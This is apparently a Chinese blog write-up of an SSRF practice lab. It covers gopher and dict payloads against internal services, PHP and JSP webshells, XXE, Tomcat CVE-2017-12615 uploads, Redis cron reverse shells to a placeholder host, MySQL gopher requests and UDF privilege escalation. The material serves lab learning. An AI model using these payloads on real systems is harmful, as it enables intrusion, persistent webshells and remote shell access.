background 之前通过国光师傅的靶场学习过ssrf的一些打法,在前几天暗月师傅的中秋打靶活动中用到了ssrf打me来getshell。我也是第一次接触到ssrf打me,于是就好好的记录一下ssrf的打法,发到我的blog上,以下大多数内容都是去年11月份完成的。 靶场地址:https://github.com/sqlsec/ssrf-vuls 原文链接:https://www.sqlsec.com/2021/05/ssrf.html
靶场拓扑图 这是靶场的拓扑图,就是用一个ssrf的点位来打内网的这些服务。
漏洞点
获取网段信息 file:///etc/hosts 高权限还可以读取 /proc/net/arp /etc/network/interfaces
探测存活 使用dict协议可判断端口是否开放 dict://182.168.1.1:80
172.172.0.25(文件上传) 别人新增的环境 文件上传 这里上传文件 是要用到post请求的 所以需要使用gopher协议来进行请求 构造请求包
POST /index.php HTTP/1.1 Host: 172.172.0.25 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: multipart/form-data; boundary=---------------------------366526997929888593612637346172 Content-Length: 259 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------366526997929888593612637346172 Content-Disposition: form-data; name="file" ; filename="rce.php" Content-Type: application/octet-stream <?php eval ($_GET [1]);?> -----------------------------366526997929888593612637346172--
判断POST数据的实际长度
str =input ("请输入post提交的数据:" )print ("数据长度是:" ,len (str ))
使用脚本编码后一把梭
import urllib.parsepayload =\ """POST /index.php HTTP/1.1 Host: 172.172.0.25 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: multipart/form-data; boundary=---------------------------366526997929888593612637346172 Content-Length: 259 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------366526997929888593612637346172 Content-Disposition: form-data; name="file"; filename="api.php" Content-Type: application/octet-stream <?php eval($_GET[1]); ?> -----------------------------366526997929888593612637346172-- """ tmp = urllib.parse.quote(payload) tmp=tmp.replace('%3A' ,':' ) tmp=tmp.replace('%0A' ,'%0D%0A' ) tmp = urllib.parse.quote(tmp) tmp=tmp.replace('%3A' ,':' ) result = 'gopher://172.172.0.25:80/' +'_' +tmp print (result)
根据情况 可以删掉Accept-Encoding: gzip, deflate后手动url编码再请求 成功写入shell 访问马子并执行命令
POST /?username=admin HTTP/1.1 Host: 192.168.245.129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 1221 Origin: http://192.168.245.129 Connection: close Referer: http://192.168.245.129/?username=admin Upgrade-Insecure-Requests: 1 url=gopher://172.172.0.25:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost:%2520172.172.0.25%250D%250AUser-Agent:%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv:106.0%2529%2520Gecko/20100101%2520Firefox/106.0%250D%250AAccept:%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language:%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AContent-Type:%2520multipart/form-data%253B%2520boundary%253D---------------------------366526997929888593612637346172%250D%250AContent-Length:%2520259%250D%250AConnection:%2520close%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------366526997929888593612637346172%250D%250AContent-Disposition:%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522rce.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250Aeval%2528%2524_GET%255B1%255D%2529%253B%250D%250A%253F%253E%250D%250A-----------------------------366526997929888593612637346172--%250D%250A
172.72.23.22(GET命令执行) 网站存在但是没东西 我们先扫一下路径 白给的一道题了 url=http://172.72.23.22/shell.php?cmd=cat${IFS}/flag 其实这里就是简单的使用ssrf去转发get请求的流量
172.72.23.23(sql注入) 给了我们传参的方式和参数 fuzz一下发现过滤了空格 使用报错注入拿flag
http://172.72.23.23?id =1'and/**/updatexml(0x7e,concat(0x7e,(select/**/group_concat(substr(content,1,30))/**/from/**/flag_is_here),0x7e),0)/**/or' http://172.72.23.23?id =1'and/**/updatexml(0x7e,concat(0x7e,(select/**/group_concat(substr(content,31,60))/**/from/**/flag_is_here),0x7e),0)/**/or'
这里注入用的是GET方式,实际中可能是POST,但方法跟上面一样
172.72.23.24(POST命令执行) post请求ip参数 用脚本构造数据包 一定要删除Accept-Encoding: gzip, deflate 不然会乱码 因为会进行两次编码 Content-Length长度一定要正确
a=input ('输入要判断的信息:' ) print ('Content-Length为:' ,len (a))
import urllib.parsepayload =\ """POST / HTTP/1.1 Host: 172.72.23.24:80 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: application/x-www-form-urlencoded Content-Length: 28 Connection: close Upgrade-Insecure-Requests: 1 ip=172.0.0.1|cat /etc/passwd """ tmp = urllib.parse.quote(payload) tmp=tmp.replace('%3A' ,':' ) tmp=tmp.replace('%0A' ,'%0D%0A' ) tmp = urllib.parse.quote(tmp) tmp=tmp.replace('%3A' ,':' ) result = 'gopher://172.72.23.24:80/' +'_' +tmp print (result)
读取flag
gopher://172.72.23.24:80/_POST%2520/%2520HTTP/1.1%250D%250AHost:%2520172.72.23.24:80%250D%250AUser-Agent:%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv:106.0%2529%2520Gecko/20100101%2520Firefox/106.0%250D%250AAccept:%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language:%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252022%250D%250AConnection:%2520close%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250Aip%253D172.0.0.1%257Ccat%2520/flag%250D%250A
172.72.23.25(XXE) 很明显的XXE 这里给出了请求方式 数据类型 请求结果 直接构造payload post请求最基本的参数 地址 host 包的长度 编码方式
POST /doLogin.php HTTP/1.1 Host: 172.72.23.25 Content-Type: application/xml;charset=utf-8 Content-Length: 188 <?xml version="1.0" ?> <!DOCTYPE TEST [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" >]> <user><username>&xxe;</username><password>89</password></user>
关于content-length的长度问题 直接在burp的repeater模块里构造好数据包 会自动填充的 可以在返回的页面里面直接填数据然后发包,我们拦包就会得到我们要的数据,但是这个请求地址是直接请求到当前页面的,所以没用,但我们可以方便的拿到数据包然后转gopher格式 读flag
POST / HTTP/1.1 Host: 124.222.176.39:55555 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 528 Origin: http://124.222.176.39:55555 Connection: close Referer: http://124.222.176.39:55555/ Upgrade-Insecure-Requests: 1 url=gopher://172.72.23.25:80/_POST%2520/doLogin.php%2520HTTP/1.1%250D%250AHost:%2520172.72.23.25%250D%250AContent-Type:%2520application/xml%253Bcharset%253Dutf-8%250D%250AContent-Length:%2520140%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520TEST%2520%255B%253C%2521ENTITY%2520xxe%2520SYSTEM%2520%2522file:///flag%2522%253E%255D%253E%250D%250A%253Cuser%253E%253Cusername%253E%2526xxe%253B%253C/username%253E%253Cpassword%253E89%253C/password%253E%253C/user%253E%250D%250A
172.72.23.26(Tomcat put传文件CVE-2017-12615) 直接rce用put文件上传
PUT /shell.jsp/ HTTP/1.1 Host: 172.72.23.26:8080 Content-Length: 460 <% String command = request.getParameter("cmd" ); if (command != null) { java.io.InputStream in =Runtime.getRuntime().exec (command ).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>" ); while ((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>" ); } else { out.print("format: xxx.jsp?cmd=Command" ); } %>
exp
gopher://172.72.23.26:8080/_PUT%2520/shell.jsp/%2520HTTP/1.1%250D%250AHost:%2520172.72.23.26:8080%250D%250AContent-Length:%2520460%250D%250A%250D%250A%253C%2525%250D%250A%2520%2520%2520%2520String%2520command%2520%253D%2520request.getParameter%2528%2522cmd%2522%2529%253B%250D%250A%2520%2520%2520%2520if%2528command%2520%2521%253D%2520null%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520java.io.InputStream%2520in%253DRuntime.getRuntime%2528%2529.exec %2528command%2529.getInputStream%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520int%2520a%2520%253D%2520-1%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520byte%255B%255D%2520b%2520%253D%2520new%2520byte%255B2048%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520out.print %2528%2522%253Cpre%253E%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520while%2528%2528a%253Din.read %2528b%2529%2529%2521%253D-1%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520out.println%2528new%2520String%2528b%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520out.print %2528%2522%253C/pre%253E%2522%2529%253B%250D%250A%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520out.print %2528%2522format:%2520xxx.jsp%253Fcmd%253DCommand%2522%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%2525%253E%250D%250A
一定要注意的是
PUT /shell.jsp/ 不是 PUT /shell.jsp
172.72.23.27(未授权访问打redis) 这里没有web服务 无法写入shell 我们使用计划任务反弹shell
dict://172.72.23.27:6379/info dict://172.72.23.27:6379/flushall dict://172.72.23.27:6379/config set dir /var/spool/cron/ dict://172.72.23.27:6379/config set dbfilename root dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n" dict://172.72.23.27:6379/save
在burp下放包(防止浏览器编码的问题) 计划任务被成功写入,得shell 【这里就不放图了】
172.72.23.28(打有密码的redis) 直接lfi 我们尝试读取redis的密码 redis密码常见的路径
/etc/redis.conf /etc/redis/redis.conf /usr/local/redis/etc/redis.conf /opt/redis/ect/redis.conf
认证密码是否正确
url=dict://172.72.23.28:6379/auth P@ssw0rd
dict不支持多行命令 所以只能使用gopher协议 抓取通信流量
socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379
处理后得到了数据
*2\r $4 \rauth\r $8 \rP@ssw0rd\r *1\r $8 \rflushall\r *4\r $6 \rconfig\r $3 \rset \r$3 \rdir \r$13 \r/var/www/html\r *4\r $6 \rconfig\r $3 \rset \r$10 \rdbfilename\r $9 \rshell.php\r *3\r $3 \rset \r$1 \rx\r $21 \r<?php phpinfo(); ?> \r *1\r $4 \rsave\r
redis是使用的RESP协议 需要使用\r\n结束 无论是\r还是\r\n结尾 都会显示长度错误,我不用\r\n直接编码两次请求就能成功执行
*2 $4 auth $8 P@ssw0rd *1 $8 flushall *4 $6 config $3 set $3 dir $13 /var/www/html *4 $6 config $3 set $10 dbfilename $9 shell.php *3 $3 set $1 x $24 <?php eval ($_GET [1]); ?> *1 $4 save
我觉得$x代表了长度的话 那么\r\n算不算长度呢?如何区分\r\n是用户输入还是换行标识呢? 我试了空格\r\n也不行 但是文章里的师傅成功过 不清楚是什么原因 一键利用脚本(对他生成的payload解码后发现他也没有\r\n 还有我的请求一直无响应是应为在最后我没有quit)
import urllib.parse protocol = "gopher://" ip = "127.0.0.1" port = "6788" shell = "\n\n<?php phdsgrgregregreg();?>\n\n" filename = "mo60.php" path = "/var/www/html" passwd = "P@ssw0rd" cmd = ["flushall" , "set 1 {}" .format(shell.replace(" " ,"${IFS} " )), "config set dir {}" .format(path), "config set dbfilename {}" .format(filename), "save" , "quit" ] if passwd: cmd.insert(0,"AUTH {}" .format(passwd)) payload = protocol + ip + ":" + port + "/_" def redis_format(arr): CRLF = "\r\n" redis_arr = arr.split(" " ) cmd = "" cmd += "*" + str(len(redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str(len((x.replace("${IFS} "," ")))) + CRLF + x.replace("${IFS} " ," " ) cmd += CRLF return cmd if __name__=="__main__" : for x in cmd: payload += urllib.parse.quote(redis_format(x)) print (urllib.parse.quote(payload))
通过计划任务反弹
172.72.23.29(打未授权mysql) 手搓篇 原理:无密码的mysql支持一步到位 也就是发一个包就能拿到返回结果 实验环境: 物理机windows设置无密码的mysql 虚拟机kali连接物理机的mysql
设置端口转发 将本机的4444端口转发到物理机的mysql3306端口上去
socat -v tcp-listen:4444,fork tcp-connect:192.168.207.32:3306
监听本地4444端口数据 并生成流量包
tcpdump -i lo port 4444 -w mysql.pcapng
请求获取flag
mysql -h 127.0.0.1 -P 4444 -uroot -e "select * from flag.flag;"
wireshark打开数据包 追踪TCP流 单独过滤出请求的包 以原始数据的形式展示 使用脚本编码
import sysdef results (s ): a=[s[i:i+2 ] for i in range (0 ,len (s),2 )] return "curl gopher://127.0.0.1:3306/_%" +"%" .join(a) if __name__=="__main__" : s=sys.argv[1 ] print (results(s))
直接python exp.py xxxxxxxx(这里接上原始数据就行)
到这一步我一直就打不通了 各种排错 我用gopherus生成payload去和我的payload对比 后来突然想起来 我本机是windows的 靶机是linux 能打通才怪了 我抓了windows的包 然后编码 请求 打不出flag 用同样的方法打Linux的就成功了
工具篇 无论windows还是Linux gopherus都能通杀 我惊呆了 Linux??? 提权 然后使用udf进行提权 获取系统权限 这里使用gopherus没有成功 我试了很多遍都没有成功 看别人的博客 也有人说gopherus打不通 这里我觉得是16进制编码的问题 select直接写入的是16进制的东西 可能编码中出了点问题 使用tcpdump进行抓包(我直接windows连接远程然后wireshark抓包没打通) 按照上面的方法抓包,然后请求
POST / HTTP/1.1 Host: 124.222.176.39:55555 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 1886 Origin: http://124.222.176.39:55555 Connection: close Referer: http://124.222.176.39:55555/ Upgrade-Insecure-Requests: 1 url=gopher://172.72.23.29:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%31%65%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%33%25%37%39%25%37%33%25%35%66%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%37%25%36%33%25%36%31%25%37%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%37%25%32%39%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31
UDF提权 其实也就是select去写入一个恶意文件,然后创建函数时加载这个恶意文件 查找mysql的插件目录
show variables like '%plugin%' ;
写入恶意so文件语句参考https://www.pwns.fun/web/tools/udf/index.html(国光原创的,我只是扒下来了) 同样的这里可以写入webshell,本质上都是写入文件。
创建函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so' ;
执行命令
select sys_eval('whoami' );
gopherus 自动生成gopher格式的数据,但是把他放到http里面去打的话需要在URL编码一次
https://github.com/tarunkant/Gopherus git clone https://hub.fastgit.xyz/tarunkant/Gopherus.git cd Gopheruschmod +x install.shsudo ./install.sh
用法
python2 gopherus.py --exploit fast-cgi
可以打fast-cgi,redis,mysql等服务,gopherus只能在python2下面运行 打fast-cgi的演示 将生成结果再次url编码,注意url编码的字母要大写
DiscuzX3.2 ssrf打未授权访问Memcache 月师傅的靶场,是16,17年出来的洞了,我真的很佩服挖这些洞的大佬,我自己大概是永远也难挖出这种水平的洞了。这里只讲怎么样去打me,不看漏洞原理。其实都一样的,把序列化后的数据传进去直接生成就行了。
其他的打法 国光师傅还提到了可以打 FTP、Zabbix这些应用,但gopherus的作者写出了除了这些还能打smtp ftp的打法我在网上没找到过多的资料,看到一些文章好像讲的都是CTf题,我就先暂时不看了,毕竟我现在的方向不是安研了
当zabbix的配置EnableRemoteCommands = 1时,即可执行系统命令,gopherus直接打
使用smtp发送邮件